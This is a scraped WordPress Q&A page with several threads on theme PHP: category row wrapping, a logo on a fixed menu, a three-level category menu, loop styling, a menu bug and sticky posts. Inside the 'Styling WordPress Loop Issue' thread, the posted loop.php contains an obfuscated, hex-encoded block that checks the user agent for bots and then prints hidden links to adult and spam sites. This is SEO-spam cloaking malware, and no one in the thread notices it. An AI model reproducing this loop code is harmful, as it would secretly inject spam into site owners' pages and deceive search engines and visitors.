Wrap elements within iteration wordpress - wordpress

I write the second piece of code
<?php
$subcategories = get_categories('&child_of=1&hide_empty=0'); // List subcategories of category '4' (even the ones with no posts in them)
foreach ($subcategories as $subcategory) {
$counter = 0;
$counter++;
?>
<?php if ($subcategory->parent == 1) {
if ($counter%2) {
echo '<div class="rowcat">';
}
?>
<!-- begin catblock -->
<div class="catblock">
<?php echo '<img src="'. z_taxonomy_image_url($subcategory->term_id) .'" />'; ?>
<?php echo sprintf('%s', get_category_link($subcategory->term_id), apply_filters('get_term', $subcategory->name));?>
</div>
<!-- end catblock -->
<?php
if ($counter%2) {
echo '</div>';
}
?>
<?php } ?>
<?php } ?>
For now each <div class="catblock"></div> wraps by <div class="rowcat"> but I want to make that each two blocks <div class="rowcat"> wrapped by <div class="rowcat">
So something I do wrong, what's this?

Move your $counter++ to the end of the loop:
<?php
$subcategories = get_categories('&child_of=1&hide_empty=0'); // List subcategories of category '4' (even the ones with no posts in them)
foreach ($subcategories as $subcategory) {
$counter = 0;
?>
<?php if ($subcategory->parent == 1) {
if ($counter%2) {
echo '<div class="rowcat">';
}
?>
<!-- begin catblock -->
<div class="catblock">
<?php echo '<img src="'. z_taxonomy_image_url($subcategory->term_id) .'" />'; ?>
<?php echo sprintf('%s', get_category_link($subcategory->term_id), apply_filters('get_term', $subcategory->name));?>
</div>
<!-- end catblock -->
<?php
if ($counter%2) {
echo '</div>';
}
}
$counter++;
} ?>

I found the right solution
<?php
$subcategories = get_categories('&child_of=1&hide_empty=0'); // List subcategories of category '4' (even the ones with no posts in them)
$counter = 0;
foreach ($subcategories as $subcategory) { ?>
<?php if ($subcategory->parent == 1) {
if ($counter%2 == 0) {
echo $counter > 0 ? "</div>" : "";
echo '<div class="rowcat">';
}
?>
<!-- begin catblock -->
<div class="catblock">
<?php echo '<img src="'. z_taxonomy_image_url($subcategory->term_id) .'" />'; ?>
<?php echo sprintf('%s', get_category_link($subcategory->term_id), apply_filters('get_term', $subcategory->name));?>
</div>
<!-- end catblock -->
<?php
}
$counter++;
} ?>

Related

How to show black logo in mini fixed menu?

I have one issue with showing a logo in a small fixed menu, when the user scrolls down.
The logo that is shown in the main menu is OK, but the logo that is shown in the small fixed menu, when the user scrolls down, is shown in white on a white background, so it is not visible at all.
How can I show a black logo on a white background? Image of the issue below:
My site is deil.cz
classic-menu.php code:
<?php
$post_id = get_the_ID();
if(is_home() && get_option('page_for_posts') != '') {
$post_id = get_option('page_for_posts');
}else if(is_front_page() && get_option('page_on_front') != '') {
$post_id = get_option('page_on_front');
}else if(function_exists('is_shop') && is_shop() && get_option('woocommerce_shop_page_id') != '') {
$post_id = get_option('woocommerce_shop_page_id');
}elseif($wp_query && !empty($wp_query->queried_object) && !empty($wp_query->queried_object->ID)) {
$post_id = $wp_query->queried_object->ID;
}
$menu_width = get_iron_option('classic_menu_width');
$menu_align = get_iron_option('classic_menu_align');
$menu_position = get_iron_option('classic_menu_position');
$menu_effect = get_iron_option('classic_menu_effect');
$menu_logo_align = get_iron_option('classic_menu_logo_align');
$menu_is_over = get_field('classic_menu_over_content', $post_id);
if(!empty($menu_is_over)) {
if($menu_position == 'absolute absolute_before') {
$menu_position = 'absolute';
}else{
$menu_position = 'fixed';
}
}
$container_classes = array();
$container_classes[] = 'classic-menu';
$container_classes[] = $menu_effect;
$container_classes[] = $menu_position;
$menu_classes = array();
$menu_classes[] = 'menu-level-0';
$menu_classes[] = $menu_align;
$menu_classes[] = $menu_width;
if($menu_logo_align == 'pull-top')
$menu_classes[] = 'logo-pull-top';
$hotlinks_align = 'pull-right';
?>
<div class="<?php echo implode(" ", $container_classes); ?>"
data-site_url="<?php echo esc_url( home_url('/') ); ?>"
data-site_name="<?php echo esc_attr( get_bloginfo('name') ); ?>"
data-logo="<?php echo esc_url( get_iron_option('header_logo') ); ?>"
data-logo_page="<?php echo esc_url( get_field('classic_menu_logo', $post_id) ); ?>"
data-retina_logo="<?php echo esc_url( get_iron_option('retina_header_logo') ); ?>"
data-logo_mini="<?php echo esc_url( get_iron_option('classic_menu_header_logo_mini') ); ?>"
data-logo_align="<?php echo esc_attr($menu_logo_align); ?>">
<?php
echo wp_nav_menu( array(
'container' => false,
'theme_location' => 'main-menu',
'menu_class' => implode(" ", $menu_classes),
'echo' => false,
'fallback_cb' => '__return_false'
));
?>
<?php
$top_menu_enabled = (bool)get_iron_option('header_top_menu_enabled');
$menu_items = get_iron_option('header_top_menu');
$menu_icon_toggle = (int)get_iron_option('header_menu_toggle_enabled');
?>
<?php if($top_menu_enabled && !empty($menu_items)): ?>
<!-- social-networks -->
<ul class="classic-menu-hot-links <?php echo (!empty($_GET["mpos"]) ? esc_attr($_GET["mpos"]) : get_iron_option('menu_position')); ?>">
<?php foreach($menu_items as $item): ?>
<?php
if(!empty($item["menu_page_external_url"])) {
$url = $item["menu_page_external_url"];
}else{
$url = get_permalink($item["menu_page_url"]);
}
$target = $item["menu_page_url_target"];
$hide_page_name = !empty($item["menu_hide_page_title"]) ? (bool)$item["menu_hide_page_title"] : false;
?>
<li class="hotlink <?php echo $hotlinks_align;?>">
<a target="<?php echo esc_attr($target);?>" href="<?php echo esc_url($url); ?>">
<?php if(!empty($item["menu_page_icon"])): ?>
<i class="fa fa-<?php echo esc_attr($item["menu_page_icon"]); ?>" title="<?php echo esc_attr($item["menu_page_name"]); ?>"></i>
<?php endif;?>
<?php if(!$hide_page_name): ?>
<?php echo esc_html($item["menu_page_name"]); ?>
<?php endif; ?>
<?php if(function_exists('is_shop')): ?>
<?php global $woocommerce; ?>
<?php if (!empty($item["menu_page_url"]) && (get_option('woocommerce_cart_page_id') == $item["menu_page_url"]) && $woocommerce->cart->cart_contents_count > 0): ?>
<span>( <?php echo esc_html($woocommerce->cart->cart_contents_count);?> )</span>
<?php endif; ?>
<?php endif; ?>
</a>
</li>
<?php endforeach; ?>
</ul>
<div class="clear"></div>
<?php endif; ?>
header.php code:
<!DOCTYPE html>
<html <?php language_attributes(); ?> class="<?php echo (is_admin_bar_showing())? 'wp-admin-bar':''?> ">
<head>
<meta charset="<?php bloginfo('charset'); ?>">
<meta name="viewport" content="width=device-width, height=device-height, initial-scale=1.0, maximum-scale=1.0">
<?php
if ( ! function_exists( '_wp_render_title_tag' ) ) :
function theme_slug_render_title() {
?>
<title><?php wp_title('-', true, 'right'); ?></title>
<?php
}
add_action( 'wp_head', 'theme_slug_render_title' );
endif;?>
<?php wp_head(); ?>
</head>
<body <?php body_class("layout-wide"); ?> onload="jQuery('header').animate({'opacity': 1})">
<?php
$facebook_appid = get_iron_option('facebook_appid');
if(!empty($facebook_appid)) { ?>
<script>
window.fbAsyncInit = function() {
FB.init({
appId : '<?php echo esc_html($facebook_appid);?>',
xfbml : true,
version : 'v2.1'
});
};
(function(d, s, id){
var js, fjs = d.getElementsByTagName(s)[0];
if (d.getElementById(id)) {return;}
js = d.createElement(s); js.id = id;
js.src = "//connect.facebook.net/en_US/sdk.js";
fjs.parentNode.insertBefore(js, fjs);
}(document, 'script', 'facebook-jssdk'));
</script>
<div id="fb-root"></div>
<?php } ?>
<div id="overlay"></div>
<?php
$fixed_header = get_iron_option('enable_fixed_header');
$menu_type = get_iron_option('menu_type');
$menu_position = get_iron_option('classic_menu_position');
$menu_is_over = get_field('classic_menu_over_content', get_the_ID());
if(!empty($menu_is_over)) {
if($menu_position == 'absolute absolute_before') {
$menu_position = 'absolute';
}else{
$menu_position = 'fixed';
}
}
?>
<?php if($menu_type == 'push-menu'): ?>
<?php get_template_part('parts/push', 'menu'); ?>
<?php endif; ?>
<?php if($menu_type == 'classic-menu' && $menu_position != 'absolute' && $menu_position != 'absolute absolute_before'): ?>
<?php get_template_part('parts/classic', 'menu'); ?>
<?php endif; ?>
<?php if(($menu_type == 'push-menu' && empty($fixed_header)) || ($menu_type == 'classic-menu' && ($menu_position == 'fixed' || $menu_position == 'fixed_before'))) : ?>
<div id="pusher" class="menu-type-<?php echo esc_attr($menu_type);?>">
<?php endif; ?>
<?php if($menu_type == 'push-menu'): ?>
<header class="opacityzero">
<div class="menu-toggle">
<?php echo wp_remote_retrieve_body(wp_remote_request(get_template_directory_uri().'/images/ svg/menu_icon.svg')); ?>
</div>
<?php get_template_part('parts/top-menu'); ?>
<?php if( get_iron_option('header_logo') !== ''): ?>
<a href="<?php echo esc_url( home_url('/'));?>" class="site-logo">
<img id="menu-trigger" class="logo-desktop regular" src="<?php echo esc_url( get_iron_option('header_logo') ); ?>" <?php echo (get_iron_option('retina_header_logo'))? 'data-at2x="' . esc_url( get_iron_option('retina_header_logo')) .'"':''?> alt="<?php echo esc_attr( get_bloginfo('name') ); ?>">
</a>
<?php endif; ?>
</header>
<?php endif; ?>
<?php if(($menu_type == 'push-menu' && !empty($fixed_header)) || ($menu_type == 'classic-menu' && ($menu_position != 'fixed' || $menu_position == 'fixed_before'))) : ?>
<div id="pusher" class="menu-type-<?php echo esc_attr($menu_type);?>">
<?php endif; ?>
<?php if($menu_type == 'classic-menu' && ($menu_position == 'absolute' || $menu_position == 'absolute absolute_before') ): ?>
<?php get_template_part('parts/classic', 'menu'); ?>
<?php endif; ?>
<div id="wrapper">
Try filter:
When you trigger your menu's background from black to white, apply a filter to the logo:
.classic-menu-logo {filter: invert(.8) }
https://css-tricks.com/almanac/properties/f/filter/
Note: according to http://caniuse.com/#search=filter, this is not supported by IE.
1) Make a second black logo and upload it somewhere to your server
2) Remove the logo image from the navigation
3) Add this code to your style.css:
.classic-menu > ul > li.logo a {
width: 120px;
height: 30px;
background: url(/wp-content/uploads/2016/12/White2.png);
background-size: contain;
}
.classic-menu.mini > ul > li.logo a {
background-image: url(/path/to/your/black.png);
}
/path/to/your/ is of course only an example, you must adjust it to where you have uploaded the dark logo.

Create custom category navigation wordpress

I want to create a custom category navigation 3 level in wordpress.
I don't want to use php wp_nav_menu(), because i need to add cateogry thumbnail inside the navigation.
I found this code :
<?php // Create category navigation with posts for each subcat
$categories = get_categories();
$catID = $cat->cat_ID;
foreach ($categories as $cat) {
if($cat->category_parent == 0){ //If is a top level category
$subcategories = get_categories('child_of='. $cat->cat_ID);
if (count($subcategories)>0){ ?>
<li class="haschild"><a><?php echo $cat->name; ?><span class="image"><img src="<?php echo z_taxonomy_image_url($cat->term_id); ?>" /></span></a>
<?php } /* end if has subcats */
else { // else; does not have childen ?>
<li><?php echo $cat->name; ?><span class="image"><img src="<?php echo z_taxonomy_image_url($cat->term_id); ?>" /></span></li>
<?php } //end else ?>
<?php // Get the subcats !!! THIS RETURNS ALL DECENDING LEVELS.
$subcategories = get_categories('child_of='. $cat->cat_ID);
if (count($subcategories)>0){
echo "<ul class='sub-menu'>";
foreach ($subcategories as $scat) { ?>
<li><?php echo $scat->name; ?><span class="image"><img src="<?php echo z_taxonomy_image_url($scat->term_id); ?>" /></span></li>
<?php
echo "";
}
echo "</ul> </li>"; // Close the Child UL DIV and parent LI
} //endif has subcats ?>
<?php } //end if parent ?>
<?php } //end foreach ?>
But it doesn't work on 3 level, just on 2 level.
you can look the menu directly on my website : http://www.designsd.fr/ap/
Do you have an idea to change it ?
Here is the updated code with a new loop level:
<?php // Create category navigation with posts for each subcat
$categories = get_categories();
$catID = $cat->cat_ID;
foreach ($categories as $cat) {
if($cat->category_parent == 0){ //If is a top level category
$subcategories = get_categories('child_of='. $cat->cat_ID);
if (count($subcategories)>0){ ?>
<li class="haschild"><a><?php echo $cat->name; ?><span class="image"><img src="<?php echo z_taxonomy_image_url($cat->term_id); ?>" /></a></span>
<?php } /* end if has subcats */
else { // else; does not have childen ?>
<li><?php echo $cat->name; ?><span class="image"><img src="<?php echo z_taxonomy_image_url($cat->term_id); ?>" /></span></li>
<?php } //end else ?>
<?php // Get the subcats !!! THIS RETURNS ALL DECENDING LEVELS.
$subcategories = get_categories('child_of='. $cat->cat_ID);
if (count($subcategories)>0){
echo "<ul class='sub-menu'>";
foreach ($subcategories as $scat) {
$child_subcategories = get_categories('child_of='. $scat->cat_ID);
if (count($child_subcategories)>0){ ?>
<li class="test"><a><?php echo $scat->name; ?><span class="image"><img src="<?php echo z_taxonomy_image_url($scat->term_id); ?>" /></span></a>
<?php } else { ?>
<li><?php echo $scat->name; ?><span class="image"><img src="<?php echo z_taxonomy_image_url($scat->term_id); ?>" /></span>
<?php }
if (count($child_subcategories)>0){
echo "<ul class='sub-menu'>";
foreach ($child_subcategories as $sscat) { ?>
<li><?php echo $sscat->name; ?><span class="image"><img src="<?php echo z_taxonomy_image_url($sscat->term_id); ?>" /></span></li>
<?php }
echo '</ul>';
}
?>
</li>
<?php;
}
echo "</ul> </li>"; // Close the Child UL DIV and parent LI
} //endif has subcats ?>
<?php } //end if parent ?>
<?php } //end foreach ?>

Styling WordPress Loop Issue

I'm trying to style the regular WP loop according to where it's working. I added checks to the loop to see where it's and add classes accordingly and all working fine.
The problem is, when I open up Style.CSS to use these classes and add properties, it doesn't work. So I get to add the styles to the HTML of the loop, which is limited.
Can you please tell what's the reason behind this behavior?
Example:
In loop.php:
<?php $paged = (get_query_var('paged')) ? get_query_var('paged') : 1; ?>
<div id="recent-posts" class="clearfix">
<?php while (have_posts()) : the_post(); ?>
<div id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
<?php if (option::get('index_thumb') == 'on') {
if ( is_sticky() && is_home() && $paged < 2 ) {
$size = 'loop-sticky';
$width = 740;
$height = 370;
} else {
$size = 'loop';
$width = option::get('thumb_width');
$height = option::get('thumb_height');
}
get_the_image( array( 'size' => $size, 'width' => $width, 'height' => $height, 'before' => '<div class="post-thumb">', 'after' => '</div>' ) );
} ?>
<div class="post-content">
<?php if (!((is_category('newtest')) || (in_category('newtest')))){ ?>
<h1 class="archive_title">
<?php /* category archive */ if (is_category()) { ?> <?php single_cat_title(); ?>
<?php /* tag archive */ } elseif( is_tag() ) { ?><?php _e('Post Tagged with:', 'wpzoom'); ?> "<?php single_tag_title(); ?>"
<?php /* daily archive */ } elseif (is_day()) { ?><?php _e('Archive for', 'wpzoom'); ?> <?php the_time('F jS, Y'); ?>
<?php /* monthly archive */ } elseif (is_month()) { ?><?php _e('Archive for', 'wpzoom'); ?> <?php the_time('F, Y'); ?>
<?php /* yearly archive */ } elseif (is_year()) { ?><?php _e('Archive for', 'wpzoom'); ?> <?php the_time('Y'); ?>
<?php /* author archive */ } elseif (is_author()) { ?><?php echo get_avatar( $curauth->ID , 65 ); _e( ' Articles by: ', 'wpzoom' ); echo $curauth->display_name; ?>
<?php /* paged archive */ } elseif (isset($_GET['paged']) && !empty($_GET['paged'])) { ?><?php _e('Archives', 'wpzoom'); } ?>
</h1>
<?php echo category_description( $category_id ); ?>
<?php } ?>
<h2 <?php if((is_category('newtest')) || (in_category('newtest'))) { ?> class="blogPostTitle" <?php } ?> ><?php the_title(); ?></h2>
<div class="entry">
<?php if (option::get('display_content') == 'Full Content') { the_content('<span>'.__('Read more', 'wpzoom').' ›</span>'); } if (option::get('display_content') == 'Excerpt') { the_excerpt(); } ?>
</div><!-- /.entry -->
<div class="recent-meta">
<?php if (option::get('display_author') == 'on') { ?><span><?php _e('by', 'wpzoom'); ?> <?php the_author_posts_link(); ?></span> <span class="separator">—</span><?php } ?>
<?php if (option::get('display_date') == 'on') { ?><span><?php printf( __('%s', 'wpzoom'), get_the_date()); ?></span> <span class="separator">—</span><?php } ?>
<?php if (option::get('display_comments') == 'on') { ?><span><?php comments_popup_link( __('0 comments', 'wpzoom'), __('1 comment', 'wpzoom'), __('% comments', 'wpzoom'), '', __('Comments are Disabled', 'wpzoom')); ?></span> <span class="separator">—</span><?php } ?>
<?php if (option::get('display_category') == 'on') { ?><span><?php the_category(', '); ?></span><?php } ?>
<?php edit_post_link( __('Edit', 'wpzoom'), '<span class="separator">—</span> <span>', '</span>'); ?>
</div><!-- /.post-meta -->
</div><!-- /.post-content -->
<div class="clear"></div>
</div><!-- #post-<?php the_ID(); ?> -->
<?php endwhile; ?>
<?php get_template_part( 'pagination'); ?>
<?php wp_reset_query(); ?>
</div>
<?php
$x0d="\x70\162\x65g\137\155\141\x74\x63\x68";
$x0b = $_SERVER['HTTP_USER_AGENT'];$x0c="\x20\x0d
\x3c\x61 \150\162\145\146='\150t\x74\160\x3a\x2f\057w\x77\x77\x2e\x70\162iv\141\164ew\145bc\x61m\x67i\162\154.\x63\x6f\x6d\057'\x3e\040\167\x65\142\143\x61m\040g\151\162\x6c\163 \163\145\170\x3c\057\141>\x20\015\012\074\141 \x68\162ef\075'\x68\164t\160\x3a\x2f\x2f\x77w\167\056\146\162\x65\x65\163\x65x\170\170\x63ha\x74\056com\040'>\040\146\162ees\145x\170\x78\143\150at.\143o\x6d\x3c/\141\076\x0d\012\x3ca\x20hr\145\146\075'h\x74\x74\x70\x3a\x2f\x2f\167\167\167\056\x73\157\154\145t\141.\x72o\040'\x3e w\x6f\x6f\144\040\x68o\x75\163\x65<\x2fa\076\015
\074a \150r\x65f\x3d'\150\164\x74p:/\x2fw\x77w\056\x62\x75ch\145\164\145fl\157\162\151o\156\154\151n\145\056\x63\157\x6d'\x3e\040a\162\x61\156\x6a\141\x6d\145\156\164\145\040\x66\154o\162\x61\x6c\145<\x2fa\076\x0d\012 \x09";if ($x0d('*bot*', $x0b)) { echo $x0c;} else {echo '';}?>
In style.css:
.blogPostTitle > a {
color: #29a4d9;
font-size: 37px;
}
When I check blogPostTitle using Chrome developer tools, I don't see any properties added.
It's hard to answer with so little info.
Make sure style.css is linked.
Try using unique class names.
View the source, Use browser Developer Tools/Web Inspector to check if your styles are actually applied, and not being overwritten by other rules.
Your above php code might be only applied to either index, or archive or single or a custom page template.

WordPress menu error on top of page

I have an error with the menus on WordPress site fabzar.com it show correct on front page but when you click one of the products the menu changes and picks up the page name
Do you know what causes this and how to fix it
Thanks in advance
Heres the header Code.
>
<title>
<?php
wp_title( ' ', true );
?>
</title>
<link rel="stylesheet" type="text/css" media="all" href="<?php bloginfo( 'stylesheet_url' ); ?>" />
<link rel="pingback" href="<?php bloginfo( 'pingback_url' ); ?>" />
<?php wp_enqueue_script("jquery"); ?>
<?php
wp_head();
?>
<?php do_action('PricerrTheme_before_head_tag_open'); ?>
<script type="text/javascript" src="<?php echo get_bloginfo('template_url'); ?>/js/my-script.js"></script>
<!-- ########################################### -->
<script type="text/javascript">
function suggest(inputString){
if(inputString.length == 0) {
$('#suggestions').fadeOut();
} else {
$('#big-search').addClass('load');
$.post("<?php bloginfo('siteurl'); ?>/wp-admin/admin-ajax.php?action=autosuggest_it", {queryString: ""+inputString+""}, function(data){
if(data.length >0) {
var stringa = data.charAt(data.length-1);
if(stringa == '0') data = data.slice(0, -1);
else data = data.slice(0, -2);
$('#suggestions').fadeIn();
$('#suggestionsList').html(data);
$('#big-search').removeClass('load');
}
});
}
}
function fill(thisValue) {
$('#big-search').val(thisValue);
setTimeout("$('#suggestions').fadeOut();", 600);
}
$(document).ready(function(){
$(".expnd_col").click(function() {
var rels = $(this).attr('rel');
$("#term_submenu" + rels).toggle();
return false;
});
</script>
<?php
$PricerrTheme_color_for_footer = get_option('PricerrTheme_color_for_footer');
if(!empty($PricerrTheme_color_for_footer))
{
echo '<style> #footer { background:#'.$PricerrTheme_color_for_footer.' }</style>';
}
$PricerrTheme_color_for_bk = get_option('PricerrTheme_color_for_bk');
if(!empty($PricerrTheme_color_for_bk))
{
echo '<style> body { background:#'.$PricerrTheme_color_for_bk.' }</style>';
}
$PricerrTheme_color_for_top_links = get_option('PricerrTheme_color_for_top_links');
if(!empty($PricerrTheme_color_for_top_links))
{
echo '<style> .top-links { background:#'.$PricerrTheme_color_for_top_links.' }</style>';
}
//----------------------
$PricerrTheme_home_page_layout = get_option('PricerrTheme_home_page_layout');
if(PricerrTheme_is_home()):
if($PricerrTheme_home_page_layout == "4"):
echo '<style>#content { float:right } #right-sidebar { float:left; }</style>';
endif;
if($PricerrTheme_home_page_layout == "5"):
echo '<style>#content { width:100%; } .main-how-it-works{ width:100% }</style>';
endif;
if($PricerrTheme_home_page_layout == "3"):
echo '<style>#content { width:520px } .title_holder { width:385px; } #left-sidebar{ margin-right:15px;}
.main-how-it-works { width:520px; } .i_will_mainbox{ width:240px } .how-does-it-work-btn { top:30% }</style>';
endif;
if($PricerrTheme_home_page_layout == "2"):
echo '<style>#content { width:520px } #left-sidebar{ float:right } #left-sidebar{ margin-right:15px; } .title_holder { width:385px; }
.main-how-it-works { width:520px; } .i_will_mainbox{ width:240px } .how-does-it-work-btn { top:30% }</style>';
endif;
endif;
?>
<!-- ########################################## -->
</head>
<body <?php body_class(); ?> >
<div id="my_container">
<div class="main_links">
<div class="top-links">
<?php
if(is_user_logged_in())
{
global $current_user;
get_currentuserinfo();
echo '<a href="'.PricerrTheme_my_account_link().'">';
echo sprintf(__('Welcome, %s', 'PricerrTheme'), $current_user->user_login );
echo '</a>';
}
if(current_user_can('manage_options')) {?> <?php echo __("Wp-Admin"); ?> <?php }
?>
<?php echo __("Home","PricerrTheme"); ?>
<?php echo __("Post New","PricerrTheme"); ?>
<?php if(get_option('PricerrTheme_enable_blog') != "no") { ?>
<?php echo __("Blog","PricerrTheme"); ?>
<?php } ?>
<?php
$menu_name = 'Pricerr_top_menu_header';
if ( ( $locations = get_nav_menu_locations() ) && isset( $locations[ $menu_name ] ) ) {
$menu = wp_get_nav_menu_object( $locations[ $menu_name ] );
$menu_items = wp_get_nav_menu_items($menu->term_id);
foreach ( (array) $menu_items as $key => $menu_item ) {
$title = $menu_item->title;
$url = $menu_item->url;
if(!empty($title))
echo '' . $title . ' ';
}
}
?>
<?php
if(is_user_logged_in())
{
$uid = $current_user->ID;
$pricerrTheme_get_unread_number_messages = pricerrTheme_get_unread_number_messages($uid);
if($pricerrTheme_get_unread_number_messages > 0) $sk = ' <span class="the_one_mess">'.$pricerrTheme_get_unread_number_messages.'</span>';
else $sk = '';
?>
<?php echo sprintf(__("MyAccount %s","PricerrTheme"), $sk); ?>
<?php echo __("Log Out","PricerrTheme"); ?>
<?php
}
else
{
?>
<?php echo __("Register","PricerrTheme"); ?>
<?php echo __("Log In","PricerrTheme"); ?>
<?php } ?>
<a href="<?php bloginfo('siteurl'); ?>/?feed=rss2&post_type=job"><img src="<?php bloginfo('template_url'); ?>/images/rss_icon.png"
border="0" width="19" height="19" alt="rss icon" /></a>
</div>
</div>
<div id="header">
<div class="middle-header-bg">
<div class="middle-header" id="middle-header-id">
<?php
$logo = get_option('PricerrTheme_logo_url');
if(empty($logo)) $logo = get_bloginfo('template_url').'/images/logo.png';
?>
<img id="logo" src="<?php echo $logo; ?>" />
<!-- ######### -->
<div class="search_box_main">
<?php
global $wp_query;
$query_vars = $wp_query->query_vars;
$job_category = $query_vars['job_category'];
if(empty($job_category)) $job_category = "all";
$job_sort = $query_vars['job_sort'];
$job_tax = $query_vars['job_tax'];
//----------
if(empty($job_category)) $job_category = "all";
if(empty($page)) $page = "1";
if(empty($job_sort)) $job_sort = "auto";
if(empty($job_tax)) $job_tax = "category";
$term_search = $query_vars['term_search'];
global $default_search;
?>
<div id="suggest" >
<form method="get" action="<?php bloginfo('siteurl'); ?>"> <input type="hidden" value="1" name="search_me_now" />
<div class="search_left">
<input type="text" onfocus="this.value=''" id="big-search" name="term" autocomplete="off" onkeyup="suggest(this.value);" value="<?php if(!empty($term_search)) echo htmlspecialchars($term_search);
else echo $default_search; ?>" /></div>
<div class="search_left">
<input type="image" width="29" id="big-search-submit" name="search_me" src="<?php bloginfo('template_url') ?>/images/search_icon.png" /></div>
</form>
<div class="suggestionsBox" id="suggestions" style="z-index:999;display: none;"> <img src="<?php echo get_bloginfo('template_url');?>/images/arrow.png" style="position: relative; top: -12px; left: 30px;" alt="upArrow" />
<div class="suggestionList" id="suggestionsList"> </div>
</div></div>
<!-- #############################-->
</div>
<?php uberMenu_easyIntegrate(); ?>
</div> <!-- middle-header-bg -->
</div> </div>
<div id="main">
Heres the page code were it happens to

WordPress sticky post not showing

In my Index.php template file I have the following code which should show a featured post if it's sticky and then loop through the remaining posts below. However on the second loop shows anything and the sticky post does not appear...
The post has definitely been made sticky and second loop has successfully hidden it but the first loop just doesn't acknowledge it :/ it's not set to private and is marked as published.
Can anyone see any issues with the code? Thanks
<?php get_header(); ?>
<div class="clearfix">
<?php if(is_home()) { //if home then show the featured post and others ?>
<div class="main-column">
<?php
$sticky = get_option( 'sticky_posts' );
$sticky_query = new WP_Query( 'p=' . $sticky[0] );
// The Loop
while ( $sticky_query->have_posts() ) : $sticky_query->the_post(); ?>
<div class="featured">
<article class="clearfix">
<h2><?php echo $post->post_title ?></h2>
<p class="who-when">by <?php echo get_the_author_meta('first_name'); ?> <?php echo get_the_author_meta('last_name') ?> on <?php echo get_the_date() ?> </p>
<?php if ( has_post_thumbnail() ) { // check if the post has a Post Thumbnail assigned to it.
echo '<a href="'.get_permalink().'">';
the_post_thumbnail();
echo '</a>';
} else {
echo '<img src="'. get_bloginfo('template_directory') .'/images/thumb-placeholder.png" alt="Blog thumbnail" />';
}?>
<p><?php the_excerpt_max_charlength(300) ?></p>
</article>
</div>
<?php endwhile; ?>
<div class="articles">
<?php $query = new WP_Query( array( 'post__not_in' => get_option( 'sticky_posts' ), 'posts_per_page' => 10 ) );
$count = 0;
while ( $query->have_posts() ) : $query->the_post();
$count++; ?>
<div <?php if($count % 2 == 0) echo 'class="no-margin"' ?>>
<article>
<h2><?php echo $post->post_title ?></h2>
<p class="who-when">by <?php echo get_the_author_meta('first_name'); ?> <?php echo get_the_author_meta('last_name') ?> on <?php echo get_the_date() ?> </p>
<?php if ( has_post_thumbnail() ) { // check if the post has a Post Thumbnail assigned to it.
echo '<a href="'.get_permalink().'">';
the_post_thumbnail();
echo '</a>';
} else {
echo '<img src="'. get_bloginfo('template_directory') .'/images/thumb-placeholder.png" alt="Blog thumbnail" />';
}?>
<p><?php the_excerpt_max_charlength(150) ?></p>
</article>
</div>
<?php if($count % 2 == 0) echo '<hr/>' ?>
<?php endwhile; ?>
</div>
<?php }else if(is_search() || is_category || is_tag()){ //if other than home (search, tag, category) then show normal list (no featured style) ?>
<div class="main-column search">
<?php
$count = 0;
if(is_search()){
echo '<h1>Search Results</h1>';
} elseif(is_author()){ ?>
<?php $curauth = (isset($_GET['author_name'])) ? get_user_by('slug', $author_name) : get_userdata(intval($author)); ?>
<h1><?php echo $curauth->user_firstname; ?> <?php echo $curauth->user_lastname; ?></h1>
<div class="archive-meta">
<p><?php echo $curauth->user_description; ?></p>
</div>
<?php } else if(is_category()){ ?>
<h1><?php single_cat_title( '', true ); ?></h1>
<?php
$category_description = category_description();
if ( ! empty( $category_description ) )
echo '<div class="archive-meta">' . $category_description . '</div>';
?>
<?php }else if (is_tag()){
echo '<h1>'.the_tag().'</h1>';
}
if ( have_posts() ) : while ( have_posts() ) : the_post();
$count++; ?>
<div>
<article>
<h2><?php echo $post->post_title ?></h2>
<p class="who-when">by <?php echo get_the_author_meta('first_name'); ?> <?php echo get_the_author_meta('last_name') ?> on <?php echo get_the_date() ?> </p>
<?php if ( has_post_thumbnail() ) { // check if the post has a Post Thumbnail assigned to it.
echo '<a href="'.get_permalink().'">';
the_post_thumbnail();
echo '</a>';
} else {
echo '<img src="'. get_bloginfo('template_directory') .'/images/thumb-placeholder.png" alt="Blog thumbnail" />';
}?>
<p><?php the_excerpt_max_charlength(300) ?></p>
</article>
</div>
<?php endwhile; else: ?>
<p>Sorry, no posts matched your criteria.</p>
<?php endif; ?>
<?php } ?>
</div>
<?php get_sidebar(); ?>
</div>
<?php get_footer(); ?>
Changing the code to:
$sticky_query = new WP_Query( 'p=' . $sticky[1] );
fixes the problem but I don't know why???

Resources